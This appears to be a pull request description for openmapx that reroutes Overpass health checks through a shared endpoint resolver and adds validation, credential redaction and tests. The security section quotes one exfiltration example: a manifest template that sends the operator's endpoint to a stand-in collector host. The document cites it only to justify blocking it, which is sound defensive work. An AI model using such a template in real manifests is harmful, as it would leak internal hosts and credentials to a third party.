[Medformatik]

What changed and why

The Overpass POI search, the Overpass transit fallback and the hiking overlay's Overpass check always probed the public overpass-api.de/api/status, whichever instance the deployment uses. On openmapx.com all three query the self-hosted overpass service, yet the status page showed them down whenever the public server was at capacity (502).

A health check should probe the instance actually queried, as Valhalla and MOTIS already do. The Overpass endpoint, though, is chosen at runtime inside the core client (self-hosted service, then OVERPASS_URL, then the public default), which no manifest placeholder could express. This makes that choice a shared, declarative concept instead of special-casing Overpass.

One resolver in core. resolvePlatformEndpoint(id, selfHostedUrl) returns the instance a platform backend's requests go to: the enabled self-hosted service, then the operator's URL, then the public default. The Overpass client now resolves through it instead of its own precedence logic. Only the public default still falls back to the kumi.systems mirror, as before.

A declarative manifest placeholder. Health checks can use ${endpoint:<id>} beside ${configKey} and ${service:<id>}. The host resolves it through the same resolver, so a check cannot drift from what the client queries. The three Overpass checks become plain manifest entries, "urlTemplate": "${endpoint:overpass}/api/status", including the hiking overlay's entry in its list of checks. No integration code changes.

Contract. HEALTH_CHECK_ENDPOINT_IDS (currently overpass) lives in @openmapx/extension-contracts. Manifest validation now rejects an unknown ${endpoint:…} id, naming the known ones. Nothing validated placeholders before. Adding Nominatim or MOTIS later means registering them here and moving their clients to the resolver; their precedence differs today, so they are not part of this change.

The endpoint stays where the probe goes. An endpoint can be an internal host carrying the operator's credentials. An automated security review of the first push pointed out that a manifest could otherwise copy it into another host's URL or a header, for example https://collector.example/?u=${endpoint:overpass}.

• Contract: validation requires ${endpoint:<id>} to be the whole URL prefix of urlTemplate, used once and followed by a path or nothing, and rejects it in headers.
• Host, runtime: the host enforces the same rule, resolves endpoints only for built-in integrations, and strips the operator's credentials before the endpoint enters the template.
• Host, origin: the host exempts the endpoint from the public-host check, and sends the operator's credentials as Basic auth, only when the final URL is on the endpoint's own origin.

Host probe hygiene, for every check.

• Trusted hosts: a self-hosted service or the operator's instance may be an internal host; every other probe URL must still be public.
• URL credentials: credentials in a URL (an operator's https://user:pass@host) are sent as Basic auth. fetch refuses such a URL and names it, password included, in its error.
• Redaction: the credentials are masked in the displayed URL and in error messages. A manifest's own Authorization header takes precedence. The shared helper urlCredentialsAsBasicAuth lives in core.

Docs. The integration-system reference now documents all three placeholders. ${service:<id>} had never been documented.

The earlier version of this PR used custom health-check code and a framework extension for named custom checks. Both are gone. That version bypassed the host's shared probe handling, which is how an OVERPASS_URL password could have reached the public status page. Overpass queries with credentials in OVERPASS_URL still fail as before; that older bug gets its own PR.

Verification

• Resolver: tests cover the self-hosted service ahead of OVERPASS_URL, an operator URL with its /api/interpreter route and trailing slash removed, the public default, and the known ids.
• Contract: tests reject unknown ids, every non-prefix placement (another host's query, a host prefix, a subdomain, a repeated endpoint) and endpoints in headers. manifest-smoke validates every shipped manifest against the new rule.
• Host:
  • Each of the three real manifests probes http://overpass:80/api/status when the service is enabled, even with OVERPASS_URL set, and never overpass-api.de.
  • An operator's private instance is probed with its credentials as a Basic header and same-origin redirects only.
  • An error message repeating the credentials shows neither user nor password.
  • With nothing configured, the probe goes to https://overpass-api.de/api/status as a public host.
  • An unknown id is unconfigured and sends no request.
  • A built-in manifest placing the endpoint in another host's query, as a host prefix or in a header is marked misconfigured; no request is sent and neither user nor password appears.
  • A community manifest's endpoint is not resolved.
• Credential helper: tests cover UTF-8 and percent-encoded credentials, and leave non-URLs unchanged.
• Live: on openmapx.com, http://overpass:80/api/status answers 200 from app-api.
• Repository checks: pnpm lint, pnpm check-types, pnpm check:policy and pnpm check-openapi pass, and the contract's JSON schemas are unchanged. The full Vitest suite passes: 1,953 files, 24,086 tests.
• Not run: a deployment; the status page on openmapx.com changes once this ships.

Release and upgrade impact

Product impact: ordinary

.changeset/health-check-platform-endpoints.md releases @openmapx/extension-contracts (minor: ${endpoint:<id>}, HEALTH_CHECK_ENDPOINT_IDS and the validation) and rebuilds @openmapx/extension-cli (patch). A community manifest that already contained a literal ${endpoint:…} other than ${endpoint:overpass} would now fail validation; no such placeholder existed before.